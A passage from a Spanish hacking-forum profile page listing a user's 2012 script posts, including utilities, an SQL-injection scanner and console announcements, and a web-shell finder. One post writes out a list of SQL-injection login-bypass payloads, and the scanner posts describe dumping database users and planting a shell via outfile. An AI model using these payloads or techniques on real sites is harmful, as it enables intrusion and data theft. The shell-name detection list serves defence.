Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - BigBear

#226
Scripting / [Perl] AOE2 Cheater 0.1
23 Septiembre 2012, 19:05 PM
Bueno , como se me falseo la tecla enter de tanto escribir los mismos trucos para los suministros del juego Age of Empires 2 decidi hacer este simple script para que los haga por mi , al terminar vamos a tener 30.000 de madera,alimentos,oro y piedra.

El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#AOE2 Cheater 0.1
#Coded By Doddy H
#ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd

use Win32::GuiTest qw(SendKeys);

head();

for my $se ( reverse 1 .. 10 ) {
    sleep 1;
    syswrite STDOUT, "[+] Wait $se seconds \r";
}

print "\n\n[+] Cheating ...\n";
cheatnow();
print "[+] Finished";

copyright();

sub cheatnow {

    for ( 1 .. 30 ) {
        SendKeys("{ENTER}lumberjack{ENTER}");
        SendKeys("{ENTER}cheese steak jimmy's{ENTER}");
        SendKeys("{ENTER}robin hood{ENTER}");
        SendKeys("{ENTER}rock on{ENTER}");
    }

}

sub head {
    print "\n\n-- == AOE2 Cheater == --\n\n";
}

sub copyright {
    print "\n\n(C) Doddy Hackman 2012\n\n";
    <stdin>;
    exit(1);
}

#The End ?

#227
Juegos y Consolas / Pregunta Play2 Fat
13 Septiembre 2012, 02:56 AM
Hola me estoy por comprar la play2 fat y queria saber si es verdad que los juegos nuevos solo soportan la play2 slim , algunos dicen que si y otros que no.

¿ cual es la verdad ?
#228
Java / [Java] ResolveIP 0.1
30 Agosto 2012, 16:56 PM
Pele el Netbeans e intente hacer mi primer programa en Java , un simple resolve ip.

El codigo

Código (java) [Seleccionar]


/**
* ResolveIP 0.1
* Coded By Doddy H
*/

import java.util.Scanner;
import java.net.*;
import java.io.*;
     
public class Main {

  public static void main(String[] args) {

    String target;
    Scanner host = new Scanner(System.in);
    System.out.println("\n\n-- == ResolveIP 0.1 == --\n\n");
    System.out.println("[+] Hostname : ");
    target = host.nextLine();
   
    try {
      InetAddress ip = InetAddress.getByName(target);
      System.out.println("\n[+] IP : " + ip.getHostAddress());
    }catch(UnknownHostException e){
      System.out.println("\n[-] Error");
    }
    System.out.println("\n\n-- == Coded By Doddy H == --");
  }
}

/**
* The End ?
*/
#229
Scripting / [PyQT4] LocateIP 0.1
28 Agosto 2012, 21:31 PM
Un simple script para buscar informacion sobre una ip , para empezar busca la localizacion y despues las DNS relacionadas.

Una imagen de como quedo



El codigo.

Código (python) [Seleccionar]

#!usr/bin/python
#LocateIP 0.1
#Coded By Doddy H

import sys,urllib2,re,socket
from PyQt4 import QtCore,QtGui

nave = urllib2.build_opener()
nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]

def toma(web) :
nave = urllib2.Request(web)
nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
op = urllib2.build_opener()
return op.open(nave).read()

def search():

ip = socket.gethostbyname(str(new.target.text()))
code = toma("http://www.melissadata.com/lookups/iplocation.asp?ipaddress="+ip)

if (re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
  rex = re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
  city = rex[0][1]
  new.city.setText(city)
else:
  new.city.setText("Not Found")

if (re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
  rex = re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
  country = rex[0][1]
  new.country.setText(country)
else:
  new.country.setText("Not Found")
 
if (re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
  rex = re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
  state = rex[0][1]
  new.state.setText(state)
else:
  new.state.setText("Not Found")

new.dns.clear()
code = toma("http://www.ip-adress.com/reverse_ip/"+ip)

if (re.findall("whois\/(.*?)\">Whois",code)):
  rex = re.findall("whois\/(.*?)\">Whois",code)
  for dns in rex:
   new.dns.appendPlainText(dns)

app = QtGui.QApplication(sys.argv)

new = QtGui.QWidget()

new.setWindowTitle("LocateIP 0.1 || Coded By Doddy H")
new.resize(450,275)
new.setStyleSheet("QWidget {background-color: #000000;color: #FF0000}")

new.label1 = QtGui.QLabel("Target : ",new)
new.label1.setStyleSheet("QWidget {background-color: #000000;color: #FF0000;font: normal 17px Verdana}")
new.label1.setGeometry(20,23,80,20)

new.target = QtGui.QLineEdit(new)
new.target.setStyleSheet("QWidget {background-color: #000000; color: #FF0000;border: 2px solid #FF0000}")
new.target.setGeometry(95,23,200,25)

new.search = QtGui.QPushButton("Find",new)
new.search.setGeometry(310,22,110,28)
new.search.setStyleSheet("QWidget {background-color: #000000; color: #FF0000;border: 2px solid #FF0000}")

new.label2 = QtGui.QLabel("Information",new)
new.label2.setStyleSheet("QWidget {background-color: #000000;color: #FF0000;font: normal 17px Verdana}")
new.label2.setGeometry(60,70,105,20)

new.label4 = QtGui.QLabel("City :",new)
new.label4.setStyleSheet("QWidget {background-color: #000000;color: #FF0000;font: normal 17px Verdana}")
new.label4.setGeometry(25,120,100,20)

new.city = QtGui.QLineEdit(new)
new.city.setStyleSheet("QWidget {background-color: #000000; color: #FF0000;border: 2px solid #FF0000}")
new.city.setGeometry(77,120,140,25)

new.label5 = QtGui.QLabel("Country :",new)
new.label5.setStyleSheet("QWidget {background-color: #000000;color: #FF0000;font: normal 17px Verdana}")
new.label5.setGeometry(25,160,100,20)

new.country = QtGui.QLineEdit(new)
new.country.setStyleSheet("QWidget {background-color: #000000; color: #FF0000;border: 2px solid #FF0000}")
new.country.setGeometry(110,160,105,25)

new.label6 = QtGui.QLabel("State :",new)
new.label6.setStyleSheet("QWidget {background-color: #000000;color: #FF0000;font: normal 17px Verdana}")
new.label6.setGeometry(25,195,100,20)

new.state = QtGui.QLineEdit(new)
new.state.setStyleSheet("QWidget {background-color: #000000; color: #FF0000;border: 2px solid #FF0000}")
new.state.setGeometry(90,195,125,25)

new.label3 = QtGui.QLabel("DNS Found",new)
new.label3.setStyleSheet("QWidget {background-color: #000000;color: #FF0000;font: normal 17px Verdana}")
new.label3.setGeometry(280,70,100,20)

new.dns = QtGui.QPlainTextEdit(new)
new.dns.setGeometry(235,100,180,150)
new.dns.setStyleSheet("QWidget {background-color: #000000; color: #FF0000;border: 2px solid #FF0000}")

new.connect(new.search,QtCore.SIGNAL("clicked()"),search)

new.show()

sys.exit(app.exec_())

# The End ?
#230
Scripting / [PyQT4] URL Shorter 0.2
27 Agosto 2012, 17:29 PM
Explotando mi limitado tiempo al pedo decidi aprovecharme nuevamente de la API de la pagina tinyurl.com para hacer una nueva version de este simple script.

Una imagen de como quedo



El codigo

Código (python) [Seleccionar]

#!usr/bin/python
#URL Shorter 0.2
#Coded By Doddy H

import sys,urllib2,re
from PyQt4 import QtCore,QtGui

def toma(web) :
nave = urllib2.Request(web)
nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
op = urllib2.build_opener()
return op.open(nave).read()

def cortar():
new.resul.setText(toma("http://tinyurl.com/api-create.php?url="+str(new.url.text())))

app = QtGui.QApplication(sys.argv)

new = QtGui.QWidget()

new.setWindowTitle("URL Shorter 0.2 || Coded By Doddy H")
new.resize(350,150)
new.setStyleSheet("QWidget {background-color: #000000;color: #FFFF00}")

new.label1 = QtGui.QLabel("URL : ",new)
new.label1.setStyleSheet("QWidget {background-color: #000000;color: #FFFF00;font: normal 17px Verdana}")
new.label1.setGeometry(20,23,80,20)

new.url = QtGui.QLineEdit(new)
new.url.setStyleSheet("QWidget {background-color: #000000; color: #FFFF00;border: 2px solid #FFFF00}")
new.url.setGeometry(75,23,247,25)

new.label2 = QtGui.QLabel("Result : ",new)
new.label2.setStyleSheet("QWidget {background-color: #000000;color: #FFFF00;font: normal 17px Verdana}")
new.label2.setGeometry(20,60,80,20)

new.resul = QtGui.QLineEdit(new)
new.resul.setStyleSheet("QWidget {background-color: #000000; color: #FFFF00;border: 2px solid #FFFF00}")
new.resul.setGeometry(95,60,230,25)

new.search = QtGui.QPushButton("Short",new)
new.search.setGeometry(90,110,170,28)
new.search.setStyleSheet("QWidget {background-color: #000000; color: #FFFF00;border: 2px solid #FFFF00}")

new.connect(new.search,QtCore.SIGNAL("clicked()"),cortar)

new.show()

sys.exit(app.exec_())

# The End ?
#231
Scripting / [PyQT4] Whois Online 0.2
27 Agosto 2012, 00:24 AM
Queria hacer mi primer programa en PyQT4 y quise empezar con este simple cliente whois.

Una imagen de como quedo



El codigo

Código (python) [Seleccionar]

#!usr/bin/python
#Whois Online 0.2
#Coded By Doddy H

import sys,urllib2,re
from PyQt4 import QtCore,QtGui

nave = urllib2.build_opener()
nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]

def tomar(web,vars) :
return nave.open(web,vars).read()

def whois(domain):
try:
  code = tomar("http://networking.ringofsaturn.com/Tools/whois.php","domain="+domain+"&"+"submit=submit")
  if (re.findall("<PRE>(.*?)<\/PRE>",code,re.S)):
   found = re.findall("<PRE>(.*?)<\/PRE>",code,re.S)
   resul = found[0]
   resul = re.sub("&quot;","",resul)
   resul = re.sub("&gt;&gt;&gt;","",resul)
   resul = re.sub("&lt;&lt;&lt;","",resul)
   return resul
  else:
   return "Not Found"
except:
  print "[-] Page offline\n"

def comando():

new.console.clear()
new.console.appendPlainText(whois(str(new.dom.text())))

app = QtGui.QApplication(sys.argv)

new = QtGui.QWidget()

new.setWindowTitle("Whois Online 0.2 || Coded By Doddy H")
new.resize(450,420)
new.setStyleSheet("QWidget {background-color: #000000;color: #00FF00}")

new.label1 = QtGui.QLabel("Domain : ",new)
new.label1.setStyleSheet("QWidget {background-color: #000000;color: #00FF00;font: normal 17px Verdana}")
new.label1.setGeometry(20,23,80,20)

new.dom = QtGui.QLineEdit(new)
new.dom.setStyleSheet("QWidget {background-color: #000000; color: #00FF00;border: 2px solid #00FF00}")
new.dom.setGeometry(95,23,200,25)

new.search = QtGui.QPushButton("Search",new)
new.search.setGeometry(310,22,110,28)
new.search.setStyleSheet("QWidget {background-color: #000000; color: #00FF00;border: 2px solid #00FF00}")

new.label2 = QtGui.QLabel("Console",new)
new.label2.setStyleSheet("QWidget {background-color: #000000;color: #00FF00;font: normal 17px Verdana}")
new.label2.setGeometry(200,70,70,20)

new.console = QtGui.QPlainTextEdit(new)
new.console.setGeometry(50,100,350,300)
new.console.setStyleSheet("QWidget {background-color: #000000; color: #00FF00;border: 2px solid #00FF00}")

new.connect(new.search,QtCore.SIGNAL("clicked()"),comando)

new.show()

sys.exit(app.exec_())

# The End ?
#232
Scripting / [Perl] Project STALKER 1.0
25 Agosto 2012, 16:55 PM
Nueva y posiblemente la ultima version de esta consola para usar en los cybers.

Los comandos son

  • cmd_getip <host>
  • cmd_getlink <page>
  • cmd_getprocess
  • cmd_killprocess <pid process>
  • cmd_conec <host> <port> <command>
  • cmd_allow <host>
  • cmd_paths <page>
  • cmd_encodehex <text>
  • cmd_decodehex <text>
  • cmd_encodeascii <text>
  • cmd_decodeascii <text>
  • cmd_encodebase <text>
  • cmd_decodebase <text>
  • cmd_scanport <host>
  • cmd_panel <page>
  • cmd_getpass <hash>
  • cmd_kobra <page>
  • cmd_ftp <host> <user> <pass>
  • cmd_mysql <host> <user> <pass>
  • cmd_locate <ip>
  • cmd_whois <dom>
  • cmd_navegator
  • cmd_scangoogle
  • cmd_help
  • cmd_exit

    Tambien se pueden usar los comandos normales.

    Una imagen



    El codigo esta aca.
#233
Scripting / [Perl] Project ParanoicScan 1.0
4 Agosto 2012, 16:02 PM
Hoy les traigo un programa con las siguientes opciones :

[+++] Opciones
[++] Google & Bing Scanner
  • XSS
  • SQL GET/POST
  • SQL GET
  • SQL GET + Admin
  • Directory listing
  • MSSQL
  • Jet Database
  • Oracle
  • LFI
  • RFI
  • Full Source Discloure
  • HTTP Information
    [++] SQLi Scanner
    [++] Bypass Admin
    [++] FSD Exploit Manager
    [++] Paths Finder
    [++] Locate IP
    [++] Crack MD5
    [++] Panel Finder
    [++] Console

    El programa depende de un archivo de texto llamado bypass.txt

    El contenido es el siguiente


    admin'--
    'or'1'='1
    'or'
    ' OR ' '='
    ' or 0=0 --
    " or 0=0 --
    or 0=0 --
    ' or 0=0 #
    " or 0=0 #
    or 0=0 #
    ' or 'x'='x
    " or "x"="x
    ') or ('x'='x
    ' or 1=1--
    " or 1=1--
    or 1=1--
    ' or a=a--
    " or "a"="a
    ') or ('a'='a
    ") or ("a"="a
    hi" or "a"="a
    hi" or 1=1 --
    hi' or 1=1 --
    hi' or 'a'='a
    hi') or ('a'='a
    hi") or ("a"="a
    - ' or 'x'='x
    - ' or 'x'='x
    'or'1 ou 'or''='
    ' or 'x'='x
    admin' or 1==1
    ' OR "='
    'or'1'='1


    Una imagen



    El codigo lo pueden encontrar aca
#234
Scripting / [Perl Tk] Project Arsenal X
21 Julio 2012, 17:23 PM
Hace tiempo que queria hacer un programa parecido al famoso juego Hackthegame , intente hacer un programa con un diseño parecido y algunas de sus funciones.
Las opciones que el programa tiene son :

  • Gmail Inbox
  • Client Whois
  • Ping
  • Downloader
  • GetIP
  • LocateIP
  • K0bra SQLI Scanner
  • GetPass
  • PanelControl
  • PortScanner
  • Multi Cracker
  • Ejecucion de comandos en la consola

    Una imagen



    Los modulos que necesita el programa son


    #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
    #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
    #http://search.cpan.org/~fays/GMail-Checker-1.04/Checker.pm
    #ppm install http://www.bribes.org/perl/ppm/HTML-Strip.ppd
    #ppm install http://trouchelle.com/ppm/Net-Telnet.ppd
    #ppm install http://trouchelle.com/ppm/Mail-POP3Client.ppd


    El codigo esta aca.
#235
Scripting / [Perl Tk] Kobra 1.6
14 Julio 2012, 19:38 PM
Nueva version Tk de este scanner SQLI.

Una imagen



El codigo lo puede ver aca
#236
Scripting / [Perl] K0bra 1.6
14 Julio 2012, 19:38 PM
Nueva version de este scanner SQLI.

Las opciones son

  • Comprobar vulnerabilidad
  • Buscar numero de columnas
  • Buscar automaticamente el numero para mostrar datos
  • Mostras tablas
  • Mostrar columnas
  • Mostrar bases de datos
  • Mostrar tablas de otra DB
  • Mostrar columnas de una tabla de otra DB
  • Brutear tablas y columnas
  • Mostrar usuarios de mysql.user
  • Buscar archivos usando load_file
  • Mostrar un archivo usando load_file
  • Mostrar valores
  • Mostrar informacion sobre la DB
  • Crear una shell usando outfile
  • Todo se guarda en logs ordenados
  • Mejor manejo de control+c
  • Codigo identado (gracias a perltidy)

    El codigo lo pueden ver aca
#237
Scripting / [Perl Tk] Codificator 0.2
7 Julio 2012, 16:06 PM
Version Tk de este codificador.

Una imagen



El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#Codificator 0.2
#Version Tk
#Coded By Doddy H

use Tk;
use Tk::Dialog;
use Digest::MD5;
use Digest::SHA1;
use MIME::Base64;
use URI::Escape;

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

$header = "This tool encode text in :

Hex
SHA1
MD5
Base64
ASCII
URL


";

my $color_fondo = "black", my $color_texto = "white";

$window = MainWindow->new( -background => "black", -foreground => "white" );
$window->geometry("380x370+80+80");
$window->title("Codificator 0.2 || Coded By Doddy H");
$window->resizable( 0, 0 );

$menula = $window->Frame(
    -relief     => "sunken",
    -bd         => 1,
    -background => $color_fondo,
    -foreground => $color_texto
);
my $menulnowaxm = $menula->Menubutton(
    -text             => "Options",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $aboutnowaxm = $menula->Menubutton(
    -text             => "About",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $exitnowaxm = $menula->Menubutton(
    -text             => "Exit",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
$menula->pack( -side => "top", -fill => "x" );

$menulnowaxm->command(
    -label      => "Encode",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&encode
);
$menulnowaxm->command(
    -label      => "Decode",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&decode
);
$menulnowaxm->command(
    -label      => "Clean",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&clear
);

$aboutnowaxm->command(
    -label      => "About",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&about
);

$exitnowaxm->command(
    -label      => "Exit",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&exitnow
);

$window->Label(
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto,
    -text       => "Options : "
)->place( -x => 110, -y => 53 );
$window->Optionmenu(
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto,
    -options          => [
        [ HEX    => HEX ],
        [ ASCII  => ASCII ],
        [ BASE64 => BASE64 ],
        [ MD5    => MD5 ],
        [ SHA1   => SHA1 ],
        [ URL    => URL ]
    ],
    -variable     => \$var,
    -textvariable => \$codificacion
)->place( -x => 180, -y => 53 );

my $rot = $window->Text(
    -background => $color_fondo,
    -foreground => $color_texto,
    -width      => 45,
    -height     => 15
)->place( -x => 30, -y => 120 );
$rot->insert( 'end', $header );

MainLoop;

sub about {
    $window->Dialog(
        -title            => "About",
        -buttons          => ["OK"],
        -text             => "Coded By Doddy H",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_texto
    )->Show();
}

sub exitnow {
    exit 1;
}

sub clear {
    $rot->delete( '0.1', 'end' );
}

sub encode {
    $text = $rot->get( "1.0", "end" );
    chomp $text;
    &clear;
    if ( $codificacion eq "HEX" ) {
        $result = hexar($text);
        $rot->insert( 'end', $result );
        print $result;
    }

    elsif ( $codificacion eq "SHA1" ) {
        $sha1 = Digest::SHA1->new->add($text);
        my $digest = $sha1->digest;
        $rot->insert( 'end', $digest );
    }
    elsif ( $codificacion eq "BASE64" ) {
        $result = encode_base64($text);
        $rot->insert( 'end', $result );
    }
    elsif ( $codificacion eq "URL" ) {
        my $codec = Badger::Codec::URL->new();
        my $ya    = $codec->encode($text);
        $rot->insert( 'end', $ya );
    }
    elsif ( $codificacion eq "ASCII" ) {
        $result = ascii($text);
        $rot->insert( 'end', $result );
    }
    elsif ( $codificacion eq "MD5" ) {
        $digest = Digest::MD5->md5_hex($text);
        $rot->insert( 'end', $digest );
    }
    else {
        $window->messageBox( -message => "What?!\n" );
    }
}

sub decode {
    $text = $rot->get( "1.0", "end" );
    chomp $text;
    &clear;
    if ( $codificacion eq "HEX" ) {
        $result = decodera($text);
        $rot->insert( 'end', $result );
    }

    elsif ( $codificacion eq "SHA1" ) {
        $window->messageBox( -message =>
              "What?! , it's not possible with a function decoded\n" );
    }
    elsif ( $codificacion eq "BASE64" ) {
        $result = decode_base64($text);
        $rot->insert( 'end', $result );
    }
    elsif ( $codificacion eq "URL" ) {
        my $codec = Badger::Codec::URL->new();
        my $ya    = $codec->decode($text);
        $rot->insert( 'end', $ya );
    }
    elsif ( $codificacion eq "ASCII" ) {
        $result = ascii_de($text);
        $rot->insert( 'end', $result );
    }
    elsif ( $codificacion eq "MD5" ) {
        $window->messageBox( -message =>
              "What?! , it's not possible with a function decoded\n" );
    }
    else {
        $window->messageBox( -message => "What?!\n" );
    }
}

sub hexar {
    my $string = $_[0];
    $hex = '0x';
    for ( split //, $string ) {
        $hex .= sprintf "%x", ord;
    }
    return $hex;
}

sub ascii {
    return join ',', unpack "U*", $_[0];
}

sub decodera {
    $_[0] =~ s/^0x//;
    $encode = join q[], map { chr hex } $_[0] =~ /../g;
    return $encode;
}

sub ascii_de {
    $_[0] = join q[], map { chr } split q[,], $_[0];
    return $_[0];
}

# The End ?
#238
Scripting / [Perl] Codificator 0.2
7 Julio 2012, 16:06 PM
Nueva version de este script para codificar y decodificar en :

  • Hex
  • SHA1
  • MD5 (solo encode)
  • Base64
  • ASCII
  • URL

    El codigo

    Código (perl) [Seleccionar]

    #!usr/bin/perl
    #Codificator 0.2
    #Coded By Doddy H
    #This tool encode in :
    #
    #Hex
    #MD5
    #Base64
    #ASCII
    #URL
    #
    #

    use Digest::MD5;
    use Digest::SHA1;
    use MIME::Base64;
    use URI::Escape;

    sub head {
        clean();
        print q(



      @@@            @ @   @ @             @           
    @   @           @    @                @           
    @       @@@   @@ @ @ @@@ @  @@@   @@@ @@@  @@@  @ @
    @      @   @ @  @@ @  @  @ @   @ @   @ @  @   @ @@
    @      @   @ @   @ @  @  @ @      @@@@ @  @   @ @ 
    @      @   @ @   @ @  @  @ @     @   @ @  @   @ @ 
    @   @ @   @ @  @@ @  @  @ @   @ @  @@ @  @   @ @ 
      @@@   @@@   @@ @ @  @  @  @@@   @@ @ @@  @@@  @ 



    );
    }

    head();
    print "\n[+] Options\n\n";
    print q(
    1 - MD5 encode
    2 - Base64 encode
    3 - Base64 decode
    4 - Ascii encode
    5 - Ascii decode
    6 - Hex encode
    7 - Hex decode
    8 - URL encode
    9 - URL decode
    10 - Exit

    );
    while (true) {
        print "\n\n[+] Option : ";
        chomp( my $op = <stdin> );
        print "\n\n";
        if ( $op eq 1 ) {
            print "[+] String : ";
            chomp( my $string = <stdin> );
            print "\n\n[+] MD5 : " . Digest::MD5->md5_hex($string) . "\n\n";
        }
        elsif ( $op eq 2 ) {
            print "[+] String : ";
            chomp( my $string = <stdin> );
            print "\n\n[+] Base64 : " . encode_base64($string);
        }
        elsif ( $op eq 3 ) {
            print "[+] String : ";
            chomp( my $string = <stdin> );
            print "\n\n[+] Base64 Decode : " . decode_base64($string) . "\n";
        }
        elsif ( $op eq 4 ) {
            print "[+] String : ";
            chomp( my $string = <stdin> );
            print "\n\n[+] Ascii : " . join ',', unpack "U*", $string;
            print "\n";
        }
        elsif ( $op eq 5 ) {
            print "[+] String : ";
            chomp( my $string = <stdin> );
            print "\n\n[+] Ascii decode : " . join q[], map { chr } split q[,],
              $string . "\n";
            print "\n";
        }
        elsif ( $op eq 6 ) {
            print "[+] String : ";
            chomp( my $string = <stdin> );
            $hex = "0x";
            for ( split //, $string ) {
                $hex .= sprintf "%x", ord;
            }
            print "\n\n[+] Hex : " . $hex . "\n";
        }
        elsif ( $op eq 7 ) {
            print "[+] String : ";
            chomp( my $string = <stdin> );
            $string =~ s/^0x//;
            $encode = join q[], map { chr hex } $string =~ /../g;
            print "\n\n[+] Hex decode : " . $encode . "\n";
        }
        elsif ( $op eq 8 ) {
            print "[+] String : ";
            chomp( my $string = <stdin> );
            print "\n\n[+] URL Encode : " . uri_escape($string) . "\n";
        }
        elsif ( $op eq 9 ) {
            print "[+] String : ";
            chomp( my $string = <stdin> );
            print "\n\n[+] URL Decode : " . uri_unescape($string) . "\n";
        }
        elsif ( $op eq 10 ) {
            copyright();
            exit(1);
        }
        else {
            print "[+] Write good stupid !\n";
        }
    }

    sub clean {
        my $os = $^O;
        if ( $os =~ /Win32/ig ) {
            system("cls");
        }
        else {
            system("clear");
        }
    }

    sub copyright {
        print "\n-- == Doddy Hackman 2012 == --\n\n";
        <stdin>;
        exit(1);
    }

    # The End ?

#239
Scripting / [Perl Tk] Destroyer Shells 0.4
30 Junio 2012, 01:39 AM
Version Tk de un script para buscar y borrar phpshells.

Una imagen



El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#DestroyerShells 0.4
#Version Tk
#Coded By Doddy H

use Tk;
use Tk::Dialog;
use LWP::UserAgent;
use File::Find;

my @nombres = (
    "C99Shell",
    "r57shell",
    "DxShell",
    "HiddenShell",
    "~ Andr3a92 ~ Sh3ll ~",
    "CShell",
    "Dark Shell",
    "GsC SheLL",
    "N3fa5t1cA Sh3ll",
    "ONBOOMSHELL",
    "StAkeR ~ Shell",
    "MoDDeD By KinG-InFeT",
    "31337 Shel"
);
my @founds;

#if ($^O eq 'MSWin32') {
#use Win32::Console;
#Win32::Console::Free();
#}

my $color_texto = "orange";
my $color_fondo = "black";

my $newdaxz =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );

$newdaxz->title("DestroyerShells 0.4 || Coded By Doddy H");
$newdaxz->geometry("345x350+50+50");
$newdaxz->resizable( 0, 0 );

$menula = $newdaxz->Frame(
    -relief     => "sunken",
    -bd         => 1,
    -background => $color_fondo,
    -foreground => $color_texto
);
my $menulnowaxm = $menula->Menubutton(
    -text             => "Options",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $aboutnowaxm = $menula->Menubutton(
    -text             => "About",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $exitnowaxm = $menula->Menubutton(
    -text             => "Exit",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
$menula->pack( -side => "top", -fill => "x" );

$menulnowaxm->command(
    -label      => "Scan",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&scan
);
$menulnowaxm->command(
    -label      => "Delete Shells",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&delnow
);

$aboutnowaxm->command(
    -label      => "About",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&aboutxa
);

$exitnowaxm->command(
    -label      => "Exit",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&exitnow
);

$newdaxz->Label(
    -text       => "Directory : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 40 );
my $dir = $newdaxz->Entry(
    -text       => "C:/xampp/htdocs",
    -width      => 37,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 95, -y => 45 );

$newdaxz->Label(
    -text       => "Shells Founds",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 120, -y => 80 );
my $files = $newdaxz->Listbox(
    -width      => 40,
    -height     => 10,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 50, -y => 130 );

$newdaxz->Label(
    -text       => "Status : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 63, -y => 300 );
my $tatus = $newdaxz->Entry(
    -width      => 25,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 120, -y => 305 );

MainLoop;

sub delnow {

    my $total = $files->size - 1;

    for my $number ( 0 .. $total ) {
        my $ruta = $files->get($number);
        unlink($ruta);
    }
    $files->delete( "0.0", "end" );
}

sub scan {

    $files->delete( "0.0", "end" );
    my $dir = $dir->get;

    find( \&finder, $dir );

    sub finder {
        my $file = $_;
        if ( -f $file ) {
            if ( $file =~ /\.txt$/ or $file =~ /\.php$/ ) {
                my $abrir = $File::Find::name;

                $tatus->configure( -text => $abrir );

                open( FILE, $abrir );
                my $words = join q(), <FILE>;
                close(FILE);

                for my $rastro (@nombres) {
                    $newdaxz->update;
                    chomp $rastro;
                    if ( $words =~ /$rastro/ig ) {
                        $files->insert( "end", $abrir );
                    }
                }
            }
        }
    }
    $tatus->configure( -text => " " );
}

sub aboutxa {
    $newdaxz->Dialog(
        -title            => "About",
        -buttons          => ["OK"],
        -text             => "Coded By Doddy H",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_texto
    )->Show();
}

sub exitnow {
    exit 1;
}

#The End ?
#240
Scripting / [Perl] Destroyer Shells 0.4
30 Junio 2012, 01:38 AM
Version mejorada de este script para buscar y borrar shells.

Código (perl) [Seleccionar]

#!usr/bin/perl
#DestroyerShells 0.4
#Coded By Doddy H

use File::Find;

my @nombres = (
    "C99Shell",
    "r57shell",
    "DxShell",
    "HiddenShell",
    "~ Andr3a92 ~ Sh3ll ~",
    "CShell",
    "Dark Shell",
    "GsC SheLL",
    "N3fa5t1cA Sh3ll",
    "ONBOOMSHELL",
    "StAkeR ~ Shell",
    "MoDDeD By KinG-InFeT",
    "31337 Shel"
);
my @founds;

head();
print "\n[+] Directory : ";
chomp( my $dir = <stdin> );
start($dir);
copyright();

sub start {
    my $dir = shift;
    print "\n\n[+] Searching in directory $dir\n\n";

    find( \&finder, $dir );

    sub finder {
        my $file = $_;
        if ( -f $file ) {
            if ( $file =~ /\.txt$/ or $file =~ /\.php$/ ) {
                my $abrir = $File::Find::name;

                open( FILE, $abrir );
                my $words = join q(), <FILE>;
                close(FILE);

                for my $rastro (@nombres) {
                    chomp $rastro;
                    if ( $words =~ /$rastro/ig ) {
                        push( @founds, $abrir );
                    }
                }
            }
        }
    }

    my @founda = repes(@founds);

    print "[+] Number of files found : " . int(@founda) . "\n\n";

    if ( int(@founda) ne "0" ) {
        for (@founda) {
            print "[+] File Found : $_\n";
        }

        print "\n[+] Delete files y/n : ";
        chomp( my $op = <stdin> );

        if ( $op =~ /y/ig ) {
            for (@founda) { unlink($_); }
            print "\n[+] Files Deleted\n";
        }
        elsif ( $op =~ /n/ig ) {
            print "\n[+] Good Bye\n";
        }
        else {
            print "\n[+] Write good stupid\n";
        }
    }
}

sub repes {
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

sub head {
    print qq(


@@@@                                             @@@   @           @ @     
